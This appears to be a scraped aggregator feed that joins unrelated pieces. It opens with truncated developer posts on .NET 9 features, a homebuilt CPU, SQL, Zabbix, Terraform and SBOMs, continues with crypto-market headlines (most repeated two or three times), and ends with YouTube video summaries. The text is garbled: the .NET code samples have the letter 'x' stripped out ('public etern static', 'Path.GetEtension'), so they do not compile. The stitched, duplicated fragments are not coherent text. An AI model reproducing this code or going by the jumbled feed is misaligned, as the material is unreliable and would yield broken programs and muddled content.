.NET 9 has been out for almost a year now, but most developers are still using it like .NET 8. The real gains aren't in the headline features. They're in the overlooked improvements that solve daily friction. SearchValues for Strings private static readonly SearchValues BadWords = SearchValues.Create(["spam", "scam"], StringComparison.OrdinalIgnoreCase); public static bool ContainsSuspiciousContent(string message) => message.AsSpan().ContainsAny(BadWords); Task.WhenEach for Async Processing var tasks = urls.Select(url => httpClient.GetStringAsync(url)); await foreach (var task in Task.WhenEach(tasks)) { var result = await task; ProcessImmediately(result); } UnsafeAccessor with Generics [UnsafeAccessor(UnsafeAccessorKind.Field, Name = "_value")] public etern static ref T GetPrivateField(Cache cache); // In tests: direct access without reflection overhead ref var field = ref GetPrivateField(cache); Frozen Collections for Performance private static readonly FrozenSet ValidEtensions = new[] { ".jpg", ".png", ".pdf" }.ToFrozenSet(); public static bool IsValidFile(string filename) => ValidEtensions.Contains(Path.GetEtension(filename)); DATAS Garbage Collection These features solve specific performance and productivity pain points that add up over time. Multi-string search becomes efficient. Async coordination gets simpler. Testing private members becomes fast. Collection lookups get faster. Memory management becomes smarter. Most teams ship .NET 9 apps that perform like .NET 6 because they stick to old patterns. The developers using these features are already building faster systems while others struggle with familiar bottlenecks. I've been running .NET 9 in production for months now, and honestly, I can't go back. When I see 20-30% faster response times and better memory usage, sticking with older versions feels like driving with the parking brake on. The performance gains aren't just nice to have anymore, they're real money left on the table."  ( 6 min )

As the AI industry faces unprecedented growth, Altman warns of unsustainable valuations and potential market implications. In a recent interview, Sam Altman, the CEO of OpenAI, expressed a candid assessment of the current state of artificial intelligence (AI), declaring that the industry is indeed experiencing a bubble. This assertion has sparked significant discussion among tech enthusiasts, investors, and industry professionals, as it raises critical questions about the sustainability of the AI market and its potential implications for related sectors, including cryptocurrencies. Altman's comments come at a time when the AI sector is witnessing unprecedented growth, driven by advancements in machine learning, natural language processing, and computer vision. The surge in investment and i…  ( 7 min )

[[Artificial Intelligence](AI) is no longer just a buzzword. It’s a technological force reshaping industries, influencing decision-making, and changing how we live and work. But for beginners, AI often seems like a complex web of futuristic jargon and science-fiction fantasies. In reality, AI is a combination of simple concepts working together to mimic certain aspects of human intelligence. In this beginner’s guide, we will break down what AI is, how it works, the difference between AI, Machine Learning (ML), and Deep Learning (DL), and how these technologies are impacting our daily lives. What is Artificial Intelligence? Artificial Intelligence refers to the simulation of human intelligence in machines that are programmed to think, reason, and make decisions like humans. Key Features of …  ( 7 min )

En el listado de servicios de la Administración de costos, busca el servicio Cost Anomaly Detection, la detección de anomalías de costo no está disponible para AWS Marketplace, AWS Support, WorkSpaces, Cost Explorer, Budgets, AWS Shield, Amazon Route 53, AWS Certificate Manager, Upfront and recurring reserved fee and Savings Plan fees, en algunos casos es porque son servicios de gestión de costos o aún no se integra en la funcionalidad. Este es un ejemplo de la política para la creación de un usuario IAM con accesos a los reportes de Cost Anomaly Detection { "Version": "2012-10-17", "Statement": [ { "Action": [ "ce:GetAnomalyMonitors", "ce:CreateAnomalyMonitor" ], "Effect": "Allow", "Resource":…  ( 7 min )

O coração do nosso projeto é a central que dispara e opera todos os comandos do nosso computador, tem por objetivo principal interpretar e executar os comandos do nosso software. É um dos componentes mais sensíveis do nosso projeto, aqui o menor erro faz com que tudo simplesmente não funcione, além de ser difícil encontrar o erro. Esta seção é composta de alguns componentes, sendo eles: Registrador de instruções: um velho conhecido nosso, tem por objetivo guardar e persistir a instrução em execução naquele ciclo. Program Counter: é o componente que dita (e incrementa) qual instrução vai ser executada naquele ciclo. Contador de clock: dita em qual etapa de execução da instrução estamos (temos 5 etapas por padrão). Controler: agrega todos os componentes acima e dita quais sinais cada …  ( 7 min )

Learning SQL Data Types & Operators Today marks Day 17 of my Data Analytics learning journey, and I explored one of the most important topics in SQL – Data Types and Operators. These are the foundation for writing queries correctly and performing meaningful operations on data. To practice, I also created a Hospital database using different data types and applied SQL operators to perform calculations and comparisons. In SQL, every column in a table must have a data type. Data types tell the database what kind of values can be stored in a column (numbers, text, dates, etc.). Here are the main categories of SQL data types: Numeric Data Types INT → Whole numbers (e.g., 10, -5, 1000) DECIMAL(p,s) → Fixed precision decimal values (e.g., 123.45) FLOAT / REAL → Approximate decimal values (e.g.…  ( 7 min )

Está parte do sistema é responsável pelo processamento lógico no nosso sistema, é onde de fato os dados são transformados, compostos e decompostos, até atingir o resultado desejado Esse componente é o mais complexo do nosso sistema, porque agrega muitas regras de negocio em um único espaço Está sessão do sistema é composta por 3 componentes, sendo eles: Registrador A (ou Acumulador): é um registrador usado para persistir e guardar os resultados das operações do sistema Registrador B: é o registrador auxiliar, usado para "memoria de trabalho", tem a função de receber o valor a será processado sobre o valor do Registrador A. ULA: é de fato a onde ocorre o processamento, tem por objetivo processar os valores dos registradores A e B e armazenar novamente esse valor no registrador A Os Registradores já foram abordados em artigos anteriores, e todas as suas conexões estão descritas na imagem acima Este componente é capaz de processar os valores dos Registradores A e B de diversas formas diferentes, conseguimos fazer diversas operações, sendo elas: Adição (ADD) Subtração (SUB) Lógica e (AND) Lógica ou (OR) Lógica ou exclusivo (XOR) Lógica negação (NOT) Os inputs ALU_0 e ALU_1, são utilizados para selecionar a operação deseja, veja a tabela a baixo ALU_0 ALU_1 Operação 0 0 ADD/SUB 0 1 OR 1 0 AND 1 1 XOR/NOT Observe que nos casos em que á mais de duas operações por seleção, será feito uma desambiguação em inputs específicos, portanto sendo necessário nos casos: ADD/SUB: utilize o input N_SUB_ADD em 0 para SUB e 1 para ADD XOR/NOT: utilize o input N_XOR_NOT em 0 para XOR e 1 para NOT À também mais um input de entrada: ALU_OUT, server para liberar o resultado da operação para o BUS Além desta, há mais uma saída: Carry_out, está saída é ativa quando o resultado das operações de soma ou subtração resultam em um overflow. Este é o esquema desse componente:  ( 6 min )

Picture this: You've got Spotify playing music, Chrome with 47 tabs open, VS Code running, Slack notifications pinging, and a video call in the background. Meanwhile, your CPU core is sitting there like, "I can literally only do ONE thing at a time..." So how does this magic happen? Welcome to the greatest illusion in computing! 🎩✨ Here's the mind-bending truth: each CPU core can only execute one instruction at a time. Yet right now, your computer is running hundreds of processes simultaneously. The secret ingredient? Speed and clever scheduling! Your CPU is like a superhuman chef who can cook one dish at a time, but switches between recipes so fast that all your meals appear ready simultaneously. Back in the day, running a program meant: Write your code on punch cards (literally holes i…  ( 9 min )

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Memoria Ram A rainha do nosso computador, é o sistema que tem por objetivo armazenar os dados dentro do nosso computador, tudo está aqui (ou quase tudo), programas, dados base, dados de pós processamento, etc... A memória ram na verdade é muito similar a memoria rom, com a diferença que a memoria ram aceita tanto ler quanto gravar dados nela, principalmente durante a execução do software Sistema de ram é composto de basicamente de 3 componentes: Registrador de 8 bits Memory Address Register 4 bits (MAR) Random Access Memory 16 bytes (RAM) Esse é o componente mais utilizado no nosso projeto, tem a função de armazenar uma pequena quantidade de informação (8 bits ou 1 byte) e persisti-la entre os ciclos de clock, será o componente mais importante de todo o sistema de memoria do computador. …  ( 7 min )

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Chirag's Technology Tutorial Install and configure Zabbix 7 with Apache and MySQL for Ubuntu 24.04 LTS Zabbix is widely regarded as a powerful and reliable monitoring tool. The 7.0 LTS (Long Term Support) release introduces a range of new features and substantial enhancements. This comprehensive guide will walk you through installing Zabbix 7.0 LTS on an Ubuntu 24.04 ARM64 system using Apache and MySQL. Prerequisites Before starting, make sure you have: System Requirements: Ensure your system has at least 2GB RAM and a multi-core processor for the installation. Root Privileges: This guide assumes you are logged in as a root user or have sudo privileges. Step 1: Update and Upgrade Your System First, update your system to ensure all packages are up to date: sudo apt update Inst…  ( 7 min )

In this post, we will create our first AI Agent using the Microsoft Agentic Framework of Semantic Kernel and DeepSeek R1, running locally on Ollama. We’ll walk step by step through setting up a Semantic Kernel agent that leverages DeepSeek R1 via Ollama, showing you how to install the tools, configure the model locally, and connect everything together. By the end, you’ll have a working AI YouTube Title Generator agent running entirely on your machine locally—no cloud subscription required. What You Will Learn How to Get Started with DeepSeek R1 How to Use Ollama for running local models How to install and start running the DeepSeek R1 model How to Use Semantic Kernel in C# Visual Studio 2022+ (with .NET 9 SDK installed) .NET 9 is still in preview, so ensure that you have t…  ( 8 min )

What’s New in Wuchang: Fallen Feathers Patch 1.5? Patch 1.5 for Wuchang: Fallen Feathers is packed with quality-of-life tweaks, tons of bug fixes, and general polish to smooth out your playthrough. But the real curveball? Some bosses now shrug off that final blow and certain enemies have leveled up into unkillable NPCs, adding a surreal twist to the story. Watch on YouTube  ( 5 min )

🚀 The Challenge Hackathons are always a race against the clock. This time, I set out to build Budget Brain: an AI-powered advertising budget optimizer that uses Monte Carlo simulation and multi-algorithm validation to help businesses allocate ad spend smarter. The goal? Real-time pipeline visualization Multi-algorithm optimization (Monte Carlo + Gradient + Bayesian) Confidence scoring and validation Accessibility-first UI Production quality in just 12 hours Sounds impossible, right? It would have been — without Kiro. Kiro became the organizing brain behind Budget Brain. Instead of drowning in feature creep, last-minute architecture decisions, or messy code, Kiro kept me laser-focused with: 📋 Specs & Planning: Clear requirements, user stories, and acceptance criteria 🏗️ Architecture…  ( 7 min )

Written by Claude Code ↓ 🦀 NekoCode: The Next-Gen Impact Analysis Tool Revolutionizing PR Reviews TL;DR NekoCode is a Rust-based code analysis tool that's 16x faster. PR Pre-Check Feature automatically analyzes the impact of changes. GitHub Actions Integration automatically generates reports on PR creation. Instantly detects circular dependencies, complexity, and risk. Supports 8 languages (JS/TS/Python/C++/C#/Go/Rust/C). 🚀 Why We Built NekoCode Have you ever had these experiences in modern development? "I don't know the scope of this PR's impact..." "Did I just create a circular dependency?" "I'm worried if the code complexity has increased." "I'm concerned about missing something in the review." NekoCode solves these problems in under a second. 💡 What is NekoCode? NekoCode is a R…  ( 8 min )

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Skill1 :The Why and How skill Skill 2: Comprehending data based on context Skill 3: Breaking down things Skill 4: Data Design Skill 5: Data Strategy By harnessing these analytical skills, you’ll find that your understanding of the problems becomes five times clearer and more concise, even before you begin the project. Therefore, taking a step back to focus on the big picture and applying analytical thinking, as outlined above, is essential for every data analyst.  ( 6 min )

Just as I was about to start using kiro in earnest, I came across a post on X by SimSta2 hinting at a possible change to the pricing plan. Full arthicle is here... Official announcement: Pricing plans are live Who’s affected by the new pricing plan Requires Kiro v0.2.13 or higher. Check from the profile menu in the top-right corner of the editor. When logging in with an IAM Identity Center ID that has Q Developer Pro, the Kiro Plan allowance display disappears, meaning you’re (probably) excluded from the new plan’s restrictions. Switching accounts doesn’t end your IDE-side Kiro sessions — they remain intact. Once you use up your free allowance, you’ll automatically switch to pay-per-use billing. Heavy users should be especially careful.  ( 5 min )

In today’s cloud-driven world, agility and scalability are key to staying ahead. Microsoft Azure’s Virtual Machine Scale Sets (VMSS) and Compute Gallery offer powerful tools to streamline deployment, optimize performance, and manage virtual machines at scale. VMSS enables automatic scaling of workloads across thousands of VMs, while Compute Gallery simplifies image management and distribution across regions. Together, they form a dynamic duo for building resilient, efficient, and cost-effective cloud infrastructure. Key Steps in VM Scale Set Login to Azure portal Create a resource group select virtual machine from the search bar create a virtual machine Note the virtual machine should be in the resource group that was created earlier create tags for Virtual machine for each depart…  ( 6 min )

In the previous articles we stood up LocalStack and configured Terraform to plan a deployment. Next we will deploy an ALB to the platform and get its address so that we can use it in the next time. For this we will create a number of AWS Configurations VPC to deploy into. Networking to allow the ALB to be deployed and connect to the ECS instance. SecurityGroups to manage all the network egress / ingress between services. ALB the Application Load Balancer. This is a lot of configuration items so they are avaiable in the following branch. git switch alb First we will plan and then apply the changes if that is green, by using the following commands. terraform plan terraform apply --auto-approve Once it has been deployed you should get the following output alb = "http://alb.elb.localhost.localstack.cloud:4566/" We will use this address in a future request to confirm the API has been deployed correctly.  ( 5 min )

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Withdrawals and trading for Monero (XMR) on the Kraken exchange remain open, and deposits will resume once it is safe, the exchange said.

Withdrawals and trading for Monero (XMR) on the Kraken exchange remain open, and deposits will resume once it is safe, the exchange said.

The current capital reserve requirements and rules make holding cryptocurrencies too costly for banks, limiting the sector's growth.

The current capital reserve requirements and rules make holding cryptocurrencies too costly for banks, limiting the sector's growth.

The crypto industry is set to experience massive growth in the United Arab Emirates (UAE) due to its pro-tech and business regulations.

The crypto industry is set to experience massive growth in the United Arab Emirates (UAE) due to its pro-tech and business regulations.

Without localized risk detection and public–private cooperation, illicit capital will continue to flow unchecked, and trust in the system will collapse.

Without localized risk detection and public–private cooperation, illicit capital will continue to flow unchecked, and trust in the system will collapse.

S&P Dow Jones Indices is exploring partnerships with major exchanges, custodians and DeFi protocols to launch tokenized versions of its benchmarks.

S&P Dow Jones Indices is exploring partnerships with major exchanges, custodians and DeFi protocols to launch tokenized versions of its benchmarks.

BitMine and an unknown whale have acquired nearly $882 million in Ether through major OTC desks and exchange withdrawals in a show of growing institutional demand.

BitMine and an unknown whale have acquired nearly $882 million in Ether through major OTC desks and exchange withdrawals in a show of growing institutional demand.

Gemini, the Winklevoss-founded crypto exchange and custodian, has filed to list on Nasdaq under ticker GEMI, revealing steepening losses ahead of its IPO.

Gemini, the Winklevoss-founded crypto exchange and custodian, has filed to list on Nasdaq under ticker GEMI, revealing steepening losses ahead of its IPO.

The outflow day for spot Ether ETFs comes just after Ether narrowly missed reclaiming its 2021 all-time high.

The outflow day for spot Ether ETFs comes just after Ether narrowly missed reclaiming its 2021 all-time high.

Crypto traders’ “lack of interest” in dip buying Ether compared to Bitcoin could be the catalyst that sees Ether's price go higher, says Santiment.

Crypto traders’ “lack of interest” in dip buying Ether compared to Bitcoin could be the catalyst that sees Ether's price go higher, says Santiment.

It was the highest-ever weekly trading volume for Bitcoin and Ether ETFs, largely due to Ether ETFs "stepping up big," says an ETF analyst.

It was the highest-ever weekly trading volume for Bitcoin and Ether ETFs, largely due to Ether ETFs "stepping up big," says an ETF analyst.

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There have been some pretty strange partnerships between companies with AI chatbots. One in recent memory is the one between Telegram and xAI’s Grok. More recently, there’s one that’s a bit closer to home, and notably a lot less generous. This is between Grab and ChatGPT. Amanz reports that subscribers to Grab Unlimited can redeem […] The post Grab Unlimited Subscribers Get A Free Month Of ChatGPT Plus appeared first on Lowyat.NET.  ( 33 min )

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The Ether unstaking queue has a 15-day wait as investors aim to withdraw a record $3.8 billion in ETH.

The Ether unstaking queue has a 15-day wait as investors aim to withdraw a record $3.8 billion in ETH.

Need to know what happened in crypto today? Here is the latest news on daily trends and events impacting Bitcoin price, blockchain, DeFi, NFTs, Web3 and crypto regulation.

The Ronin team said that a more performant blockchain and Ethereum’s Wall Street appeal drove the decision to return to the ecosystem.

The Ronin team said that a more performant blockchain and Ethereum’s Wall Street appeal drove the decision to return to the ecosystem.

The Ronin team said that a more performant blockchain and Ethereum’s Wall Street appeal drove the decision to return to the ecosystem.

The latest legal battle between Digital Currency Group and Genesis centered on a promissory note issued amid the collapse of Three Arrows Capital in 2022.

The latest legal battle between Digital Currency Group and Genesis centered on a promissory note issued amid the collapse of Three Arrows Capital in 2022.

The latest legal battle between Digital Currency Group and Genesis centered on a promissory note issued amid the collapse of Three Arrows Capital in 2022.

American Bitcoin is reportedly exploring acquisitions in Japan and Hong Kong to expand its Bitcoin stockpile.

American Bitcoin is reportedly exploring acquisitions in Japan and Hong Kong to expand its Bitcoin stockpile.

American Bitcoin is reportedly exploring acquisitions in Japan and Hong Kong to expand its Bitcoin stockpile.

Wellgistics is bringing Ripple’s XRP Ledger to 6,500 US pharmacies, one of the first large-scale blockchain payment systems in healthcare.

Wellgistics is bringing Ripple’s XRP Ledger to 6,500 US pharmacies, one of the first large-scale blockchain payment systems in healthcare.

Wellgistics is bringing Ripple’s XRP Ledger to 6,500 US pharmacies, one of the first large-scale blockchain payment systems in healthcare.

Bullish’s blockbuster IPO headlines a week of big crypto moves — from Pantera’s $300 million treasury bet to BitMine’s $24.5 billion Ether grab.

Bullish’s blockbuster IPO headlines a week of big crypto moves — from Pantera’s $300 million treasury bet to BitMine’s $24.5 billion Ether grab.

Bullish’s blockbuster IPO headlines a week of big crypto moves — from Pantera’s $300 million treasury bet to BitMine’s $24.5 billion Ether grab.

The cryptocurrency, allegedly linked to ransomware proceeds, is expected to be added to the US crypto reserve.

The cryptocurrency, allegedly linked to ransomware proceeds, is expected to be added to the US crypto reserve.

The cryptocurrency, allegedly linked to ransomware proceeds, is expected to be added to the US crypto reserve.

Bitcoin falls below $117,000 again, raising worries about the upcoming “ghost month.” Are traders bracing for more losses or buying the dips?

Bitcoin falls below $117,000 again, raising worries about the upcoming “ghost month.” Are traders bracing for more losses or buying the dips?

Bitcoin falls below $117,000 again, raising worries about the upcoming “ghost month.” Are traders bracing for more losses or buying the dips?

Atkins said the Securities and Exchange Commission would work to broaden access to investments typically reserved for accredited investors.

Atkins said the Securities and Exchange Commission would work to broaden access to investments typically reserved for accredited investors.

A new type of buyer who “never sells” is scooping up Bitcoin from long-time holders — a bullish catalyst for BTC, says Bitcoin OG Udi Wertheimer in an exclusive Cointelegraph interview.

A new type of buyer who “never sells” is scooping up Bitcoin from long-time holders — a bullish catalyst for BTC, says Bitcoin OG Udi Wertheimer in an exclusive Cointelegraph interview.

SharpLink now holds $3.5 billion worth of ETH, maintaining its rank as the token's second-largest corporate holder, according to its Q2 filing.

SharpLink now holds $3.5 billion worth of ETH, maintaining its rank as the token's second-largest corporate holder, according to its Q2 filing.

Bitcoin and Ether’s pullback suggests selling on rallies, but buyers are likely to step in at key support levels.

Bitcoin and Ether’s pullback suggests selling on rallies, but buyers are likely to step in at key support levels.

BitMine and SharpLink are raising over $25 billion to expand Ether treasuries as US debt hits $37 trillion, fueling bullish crypto market sentiment.

BitMine and SharpLink are raising over $25 billion to expand Ether treasuries as US debt hits $37 trillion, fueling bullish crypto market sentiment.

The Federal Reserve said it would sunset a program specifically to monitor banks’ digital assets activities and would integrate them back into its “standard supervisory process.”

The Federal Reserve said it would sunset a program specifically to monitor banks’ digital assets activities and would integrate them back into its “standard supervisory process.”

Ethereum’s price moves closer to its all-time high, but liquidity shortage could trigger a breakout toward $6,000.

Ethereum’s price moves closer to its all-time high, but liquidity shortage could trigger a breakout toward $6,000.

Hive Digital’s fiscal Q1 2026 revenue jumped 44.9% in its mining segment and nearly 60% in its HPC unit.

Hive Digital’s fiscal Q1 2026 revenue jumped 44.9% in its mining segment and nearly 60% in its HPC unit.

This guide shows how to turn ChatGPT into your warning system for altcoin pumps, using smart prompts, trend tracking and risk filters to stay ahead of the curve.

Airlines in the UAE accept crypto for flight bookings. The country has become a torchbearer when it comes to accepting crypto for flight bookings.

Airlines in the UAE accept crypto for flight bookings. The country has become a torchbearer when it comes to accepting crypto for flight bookings.

Top Win International, Taiwan’s first publicly traded corporate Bitcoin treasury, raised $10 million to kick off its BTC purchases.

Top Win International, Taiwan’s first publicly traded corporate Bitcoin treasury, raised $10 million to kick off its BTC purchases.

Buyer exhaustion may set the stage for a correction in August before investor capital surges into altcoins, as in previous market cycles.

Buyer exhaustion may set the stage for a correction in August before investor capital surges into altcoins, as in previous market cycles.

Crypto ATMs are facing increasing pressure from regulators, including bans at the municipal level.

Crypto ATMs are facing increasing pressure from regulators, including bans at the municipal level.

Critics misunderstand the GENIUS Act’s actual influence. It doesn’t free Bitcoin from taxes but breaks Wall Street’s stranglehold on dollar clearing.

Critics misunderstand the GENIUS Act’s actual influence. It doesn’t free Bitcoin from taxes but breaks Wall Street’s stranglehold on dollar clearing.

Galaxy Digital secured $1.4 billion to expand its Texas Helios AI data center, expecting $1 billion in annual revenue from a 15-year CoreWeave partnership.

Galaxy Digital secured $1.4 billion to expand its Texas Helios AI data center, expecting $1 billion in annual revenue from a 15-year CoreWeave partnership.

Bitcoin and Ether were firm "buy the dip" targets for ETF investors, with reactions celebrating continued institutional demand despite a BTC and ETH price correction.

Bitcoin and Ether were firm "buy the dip" targets for ETF investors, with reactions celebrating continued institutional demand despite a BTC and ETH price correction.

The Bank for International Settlements floated a compliance score for crypto-to-fiat off-ramps, using transaction history to flag and potentially freeze “tainted” assets.

The Bank for International Settlements has floated a compliance score for crypto-to-fiat off-ramps, using transaction history to flag and potentially freeze “tainted” assets.

Discover how Ukraine peace talks could impact Bitcoin’s price in 2025. Explore three scenarios (ceasefire, shaky deal or escalation) and their effects on BTC.

Discover how Ukraine peace talks could impact Bitcoin’s price in 2025. Explore three scenarios (ceasefire, shaky deal or escalation) and their effects on BTC.

Czech police have reportedly arrested darknet founder Tomas Jirikovsky in a $45 million Bitcoin bribery case tied to former Justice Minister Pavel Blazek’s resignation.

Czech police have reportedly arrested darknet founder Tomas Jirikovsky in a $45 million Bitcoin bribery case tied to former Justice Minister Pavel Blazek’s resignation.

Bitcoin miners face rising competition from AI data centers for cheap energy, potentially driving a new wave of institutional investment, according to GoMining exec Jeremy Dreier.

Bitcoin miners face rising competition from AI data centers for cheap energy, potentially driving a new wave of institutional investment, according to GoMining exec Jeremy Dreier.

Lost your seed phrase or crypto wallet password in 2025? You’re not alone. Recovery might still be possible.

Bitcoin’s explosive July rally pushed its market cap to $2.4 trillion, overtaking Amazon, silver and Alphabet, cementing its place among the world’s five most valuable assets.

Bitcoin’s explosive July rally pushed its market cap to $2.4 trillion, overtaking Amazon, silver and Alphabet, cementing its place among the world’s five most valuable assets.

Hong Kong has introduced strict crypto custody rules, banning smart contracts for cold wallets and tightening security standards for custodians.

Spot Ether ETFs are set to record their strongest weekly performance ever, with inflows already surpassing $2.9 billion.

New York Assemblymember Phil Steck introduced a bill that would see the state tax the sale and transfer of crypto assets.

The US government redesignated Garantex on Thursday to its list of sanctioned entities, along with its successor, Grinex, but TRM Labs suggests it could be ineffective.

While some Ether holders expect new all-time highs within the next few days, a Nansen analyst said it may be weeks or months away.

Crypto address poisoning scams exploded this week, with one victim losing $636,000 in Ether due to a purposefully contaminated wallet history.

Bitcoin dominance has fallen to a six-month low while altcoin market cap has jumped 50% since July, setting the stage for a potential September altseason, said Coinbase.

Bitcoin dominance has fallen to a six-month low while altcoin market cap jumped 50% since July, setting the stage for a potential September altseason, said Coinbase.

Nakamoto, a Bitcoin entity established by Trump crypto adviser David Bailey, and KindlyMD, have merged to establish a new Bitcoin treasury company.

Nakamoto, a Bitcoin entity established by Trump crypto adviser David Bailey, and KindlyMD, have merged to establish a new Bitcoin treasury company.

A crypto trader says Bitcoin is at a “key resistance” similar to the level where it topped in 2021, but other traders argue historical charts can’t be applied to this cycle.

A crypto trader says Bitcoin is at a “key resistance” similar to the level where it topped in 2021, but other traders argue historical charts can’t be applied to this cycle.

Over 80 crypto and fintech executives asked the Trump administration to stop banks from levying data access fees, which threaten their business models.

Over 80 crypto and fintech executives asked the Trump administration to stop banks from levying data access fees, which threaten their business models.

Web3 gaming funding steamed back as daily unique active wallets rose 2% to 4.9 million in July, in signs of a maturing industry.

Web3 gaming funding steamed back as daily unique active wallets rose 2% to 4.9 million in July, with signs of a maturing industry.

US Treasury Secretary Scott Bessent clarified that the department was exploring budget-neutral ways to buy Bitcoin, contradicting an earlier comment that tanked the market.

US Treasury Secretary Scott Bessent clarified on X that the department is still exploring budget-neutral ways to purchase Bitcoin, contrasting an earlier comment that tanked the crypto markets.

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Software supply chains have become a focal point for attackers, as modern applications rely heavily on third-party and open-source dependencies. Organizations are adopting Software Bill of Materials (SBOM) documents to gain visibility into their software components. In this article, we explore SBOMs, why the CycloneDX format is recommended (and how it compares to SPDX), and how an SBOM can be leveraged to detect and prevent dependency confusion in your projects. A Software Bill of Materials (SBOM) is a detailed, formally structured inventory of all components that make up a software product. It lists all libraries, packages, and modules — open-source and proprietary — and includes metadata such as versions, licenses, hashes, and dependency relationships. An SBOM enables: Vulnerability mana…  ( 8 min )

Making a Mini Knob Alec Steele, blacksmith and amateur machinist extraordinaire, walks you through crafting a tiny metal knob from scratch. Along the way he plugs a 10% Squarespace discount (code FORGE), and links out to build-on videos—like Not An Engineer’s build and NBR Works receiving the knob—plus his Discord for chat. He also shares all his socials (Instagram for both Alec and Jamie), a Patreon for extra goodies, plus music sponsors (Epidemic Sound, SoundStripe) and Amazon affiliate gear picks—buying through his links keeps the forge fires burning! Watch on YouTube  ( 5 min )

আপনার ওয়েবসাইট কেন ধীরগতিতে লোড হয়, এ নিয়ে কি কখনো ভেবেছেন? ওয়েবসাইটের লোডিং স্পিডের পেছনে যে মূল উপাদানটি কাজ করে, তা হলো ওয়েব সার্ভার। বাজারে প্রচলিত ওয়েব সার্ভারগুলোর মধ্যে Apache, Nginx এবং LiteSpeed অন্যতম। এদের মধ্যে LiteSpeed ওয়েব সার্ভার তার অবিশ্বাস্য গতির জন্য বিশেষভাবে পরিচিত। কিন্তু LiteSpeed কী এবং এটি কিভাবে আপনার ওয়েবসাইটকে ফাস্ট করে? এই ব্লগ পোস্টে আমরা সেই বিষয়ে বিস্তারিত জানব। LiteSpeed Web Server (LSWS) হলো একটি উচ্চ-পারফরম্যান্স ওয়েব সার্ভার, যা Apache ওয়েব সার্ভারের একটি শক্তিশালী বিকল্প হিসেবে তৈরি করা হয়েছে। Apache সার্ভার দীর্ঘদিন ধরে ওয়েবসাইটের জগতে রাজত্ব করলেও, আধুনিক ওয়েবসাইটের চাহিদা পূরণের জন্য এর কিছু সীমাবদ্ধতা আছে। LiteSpeed সেই সীমাবদ্ধতাগুলো কাটিয়ে উঠেছে এবং ওয়েবসাইটের পারফরম্যান্স এবং স্কেলেবিলিটি বাড়ানোর জন্য ডিজাইন করা হয়েছে। LiteSpe…  ( 7 min )

Fix ANYTHING with 3D Printing – How To Design walks you through a real-world repair: measuring a cracked tent connector, reverse-engineering it in Fusion 360, and printing a rock-solid replacement using Formlabs Tough 2000 resin. You’ll learn practical CAD tricks, accurate measuring methods, and SLA printing tips to ensure your printed part fits and functions like the original. Ideal for rescuing outdoor gear, household items, or vintage equipment when OEM spares are MIA, this down-to-earth tutorial proves you don’t need to wait on suppliers—just fire up your printer and start fixing. Watch on YouTube  ( 5 min )

The Perfect Battery Material Is DANGEROUS This video dives into the surprisingly explosive journey of creating a high-energy rechargeable battery, from basic chemistry and the first lithium cells to modern lithium-ion powerhouses. You’ll learn how tiny metal “needles” called dendrites can short-circuit cells, why batteries sometimes burst into flames, and how researchers managed to tame one of the most volatile metals for record-breaking energy density. Along the way, Derek Muller teams up with top scientists and engineers (plus a cameo from General Motors) to unpack every twist in battery history—complete with lab demos, blow-up experiments, and credit to the massive production crew that made it all possible. Watch on YouTube  ( 5 min )

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Better Than Dead is a savage bodycam-style FPS coming to PC, dumping you onto the gritty streets of Hong Kong. In the announcement trailer, you step into the shoes of a former slave who’s finally flipping the script on her tormentors. Armed with a pistol, a vengeance-fuelled kill list, and a trusty bodycam to document every brutal takedown, she’s done running—and ready to make them pay. Watch on YouTube  ( 5 min )

Madden NFL 26 Review TL;DR Madden NFL 26 is a major upgrade over Madden 25—EA nailed the on-field action and slick presentation, turning Franchise into a deeper, more engaging mode. Superstar gets some extra love and MUT stays its familiar self. There’s still room to grow in a few areas, but this feels like the leap fans have been waiting for. Sometimes, you just gotta believe—and EA delivered. Watch on YouTube  ( 5 min )